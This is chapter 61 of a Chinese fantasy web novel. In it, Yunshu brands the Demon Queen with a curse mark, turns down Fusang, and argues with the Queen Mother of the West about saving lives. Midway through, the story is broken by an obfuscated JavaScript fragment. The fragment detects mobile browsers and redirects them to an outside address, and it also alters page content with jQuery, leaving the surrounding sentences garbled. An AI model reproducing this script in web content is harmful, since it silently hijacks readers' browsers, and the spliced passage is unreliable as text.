61. 执念的西王母

作品:《谁告诉你她是神了

    “蠢鸟!坏鸟!笨鸟!”


    “死后上不了天入不了地,在人间遇见恶鬼把你的骨头丢到荒郊野外被乌鸦叼走,肉身没人收拾,魂魄锁在天上千年万年一不小心投胎到人界又掉进冥河里……”


    云舒暴跳如雷地指住妖后,用尽所有脑子里能骂人的词毫不留情地谩骂她的无耻,激动的情绪让她双颊都不自然地泛上红晕,整个面色难看异常。


    “放肆。”九风沉下脸,身为妖王之子他从出生起就从未见过有人胆敢骂他母后。云舒毕竟护了他一路,好好的带着他,没让他被那些魔族分吃掉。


    且这些日子他后知后觉,云舒恐怕是另有打算,与魔君的做法背道而驰。


    九风护住母亲:“云舒,我母后哪里得罪了你,你要如此?”


    美人蹙眉都是别有风姿,放在平时云舒一定会欣赏这四神、妖站在一起、堪称世间最绮丽的风景,此刻九风存着质问,只叫她觉得心烦意乱。


    “放肆?你才放肆!九风,你母亲不守信诺,我们之间的约定到此为止了!”


    云舒怒极,双目一睁,眸中金光一闪,大手一挥,九风修为根本挡无可挡,被扫翻在地,不可思议地呆坐在地上。


    他一路走来,见过各种各样的云舒,从未见过如此她有如此无情的时候。


    妖后即便见识过这神通,也被云舒暴涨的情绪和毫不压制放出的神力打了个插翅难逃,神思粘稠地凝滞住,被云舒一把抓住,还是手上剧烈的疼痛迫使她清醒了过来。


    妖后拼力挣扎,奈何无济于事:“你,你放手!你怎敢如此对我?扶桑大帝,你将她带来,就是来折磨我的吗?”


    西王母即便已经听说,还是第一次见识到云舒的凤凰之力,惊讶大过了其他。


    云舒冷声一笑:“我如何待你取决于你如何待我!若这具身体现在出什么事,你万死难辞其咎。”


    到底还是抑制住了自己,嘴唇绷紧,平息着自己的怒气,在心中又怒骂几句。


    算这账不晚,多事之秋避免浪费战力横生枝节,她还要去见渊行,去冥界,没工夫在这里耽搁了。


    至于这只鵸鵌……


    云舒指尖一抖,迅雷不及掩耳之势,一点印记打入妖后眉心,一字一句冷声说道:“这事我记住了,你最好祈祷我无事,天下无事。否则,总有一天,我要将你们整个妖界王族挫骨扬灰,食肉寝皮!”


    妖后大惊失色,在九风的大惊探查下摸着额头:“你给我下了什么?”


    云舒不再理她,放开她,转向扶桑。


    扶桑和西王母的面色,都没有因为这小小的插曲有什么变化,两个人对她更添了探究的目光。


    扶桑道:“妖后娘娘,这事可是你不地道了,说起来你这夫君儿子都是为她家所保。”


    妖后不知何意,九风却是回过味来的。


    “我父王在南荒?”


    妖后反而看了西王母一眼,见她平静地望着云舒想着心事,只好将眼光收回,回着扶桑的话,眼里看的却是云舒。


    “我们妖族行事向来不与世界同合,你这丫头身为凤族后裔知晓了自己身份依然要卧在魔族,本就难以对全天下解释!我且问你,难道带兵入妖界的不是你?将我妖族囚于宫中的不是你?你也无须怪我,法子我没骗你,生死有命。”


    妖后眸光游移,别过脸去:“凤族更是怪不到我们妖界头上。”


    嘴里虽这样说,妖后知晓云舒是何人之后,心中实则忐忑。但一界妖后可不允许怯懦。


    云舒冷硬说道:“我的事情,与凤族毫无干系。”


    她也犯不着跟他人解释,更不觉得别人必须要体谅她的为难之处。只是有一点,要这人不能背刺于她,势必要使她投鼠忌器。


    “你倒知道我带兵入妖界,可曾想过我手中仍有妖族,与我血脉相连。我若死了,妖界,人界,都会跟着我的死尽数覆灭!”


    这不过是云舒吓唬她的话,她死了最多启动不了诸天大阵,以及妖族阵法没了,四散逃离罢了。不过她说的倒也没错,若叫魔界控制世间,妖族只能化为大补之物,可不是尽数覆灭?


    妖后愤懑不平,对西王母疾呼:“西王母,这可都是你的子民!”


    云舒根本不理会她,对扶桑道:“如果这就是你想让我知道的事情,我已经知道了。也已经考虑清楚了,多谢你的好意,我要离去了。”


    在妖后的期待下,立于一旁的西王母伸手制止了正要说话的扶桑,终于开口。第一句话却是询问云舒:“离魂珠为何没有带在身上?”


    云舒对她客气地拱了拱手:“多谢你的离魂珠,离魂珠对我有大用,如今派上了用场,自然也有它的去处。”绝口没提有什么用。


    她没提,西王母却知道她用来做什么了。


    她虽然远在玉山,天下飞禽哪个不是她的耳朵,眼睛。


    西王母并不客气,看似怪她:“渊行给了你,是想保你的命,你竟然不领情。”


    云舒丝毫不落下风:“渊行给了我,是给我广阔的天地,任我遨游。无论我做什么,他都会支持我。”


    西王母走上前来,云舒觉得离得近了,她更似玉像,无悲无喜。此时琥珀色的眼球微微转动,定在云舒面上,天下女仙之首,傲然又如琉璃瑰丽的身姿,总是透着无情的冷漠疏离。


    “你要救人?”


    云舒诧异西王母怎么会问这种话,她幻想中的西王母,是温和的,慈爱的,或是怜爱世人的,如今初初的接触,已经和她的想象大相径庭,这话问的更是使她感到困惑,仿佛在她的眼中,她要做什么难以理解的事情。


    难道是她自小在魔族长大,让西王母不解她的立场和信念?


    这倒是人之常情,毕竟连鬼梓到现在都以为,她控制世间是为了和魔君相对。


    如果不是在人间的惊鸿一瞥,没有后来的种种,她大约不会一锤定音去刺破魔君与她的矛盾。


    如果不是魔君伤了敖珊,屠戮龙族,她想过,就算她的亲生父母另有其人,她也愿意永远在魔界陪伴他。


    可是她是他偷来的,她或许没那么恨他夺走了自己原本的人生,但他趁人之危地将痛苦给了别人,将她当做了容器,只等着毁天灭地,从头到尾连背叛都不存在。


    所以,她要从根源上灭了一切。


    想通了这处,云舒坚定的对西王母说:“不错,我要救人。”


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17283394|190635||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >救生灵百态,救世人。


    “你要救大多数人,而舍弃一小部分人?”


    这是什么说法?


    云舒否定道:“我要尽我全力,尽可能地保住能够保住的所有人。”


    “即便那些人都没有用?”


    云舒惊了,重新审视面前的女神。


    她的语言惊世骇俗,颠覆了她的三观。


    云舒心头觉得十分莫名,这在她看来,是没有联系的两件事:“这与有用没用有什么关系?”


    云舒心中泛起嘀咕,面前的这人到底是不是西王母?


    一个庆贺别人去死,一个想要没用的人都去死。


    三神她见识了,越发觉得她的渊行很好,很正常。


    话说回来,西王母这个样子看起来有些魔怔?固执?执念?


    她到底为什么在这里和她做这种辩论?


    西王母看着面前的女子,她不大,不过一千余岁,成长速度却达到了一种惊天动地的地步了,可惜造化弄人。


    她也并非是看到了自己从前的影子,云舒的回答并不如她的意,只是她想起云舒身上的凤凰之力,就想起了一件事:“云舒,若你还在凤凰一族,应该入我门下,从小在玉山修习。”


    这都是过去的事情了,早已无法挽回,云舒也觉得没什么,不过她还是问了句:“为何?难道南荒无法教习我?”


    妖后解释道:“世间神兽各族主脉之子,都有机会入琼华宫锻体,使血脉之力更加纯净,在最不容易存活的幼年保证身体的强悍。其中天赋最好的,可以留在琼华宫修习,直到课业圆满,回去之后接受族中传承,便是下一任的族长候选了。我从前也在琼华宫中,这一辈这一支……”


    妖后摸向九风卷曲的发,冰凉的玉手与复杂的爱恨交织纠缠,她说:“九风此刻起便留下来。”


    这更没什么好可惜的了,云舒根本没想当什么凤族族长,她也不是凤凰。


    云舒突然想到乐游也是玉山出来的,那个已经堕魔的女子,西王母知不知道呢?


    一定是知道了的,昔日的弟子,鸾族的族长之女,这是大事。


    此地离鸾族颇近,真是不宜久留。


    “多谢西王母抬爱,世事无常,还是往前看吧。我可以走了吗?”


    扶桑眼见阿琼执念难当,知道她想起了往事。


    昔日四海八荒最尊贵的神女何曾没有过普度众生的梦。


    千年万年走过来,那个梦,不知不觉间,突然就带着无限的倦怠,变了质。


    云舒当真是通透决然地超乎他的意料。


    她与渊行,其实是相似的


    扶桑最后问云舒:“当真不跟我回蓬莱?云舒,我这好意,只有一次。本是为了渊行,如今是真心问你。”


    云舒依然拒绝。


    这么一大会儿功夫,天地已经不再动荡。


    云舒望了望渊月宫的方向,那里带着一片天地间诡异的紫色,和她的煞气极为相像,她好像知道天地动荡是为何了,她决定不入天界了。


    倘若心心相印,渊行知道到哪里找她。


    西王母率先转了身:“活下来就来见我吧,你也会需要见我的。”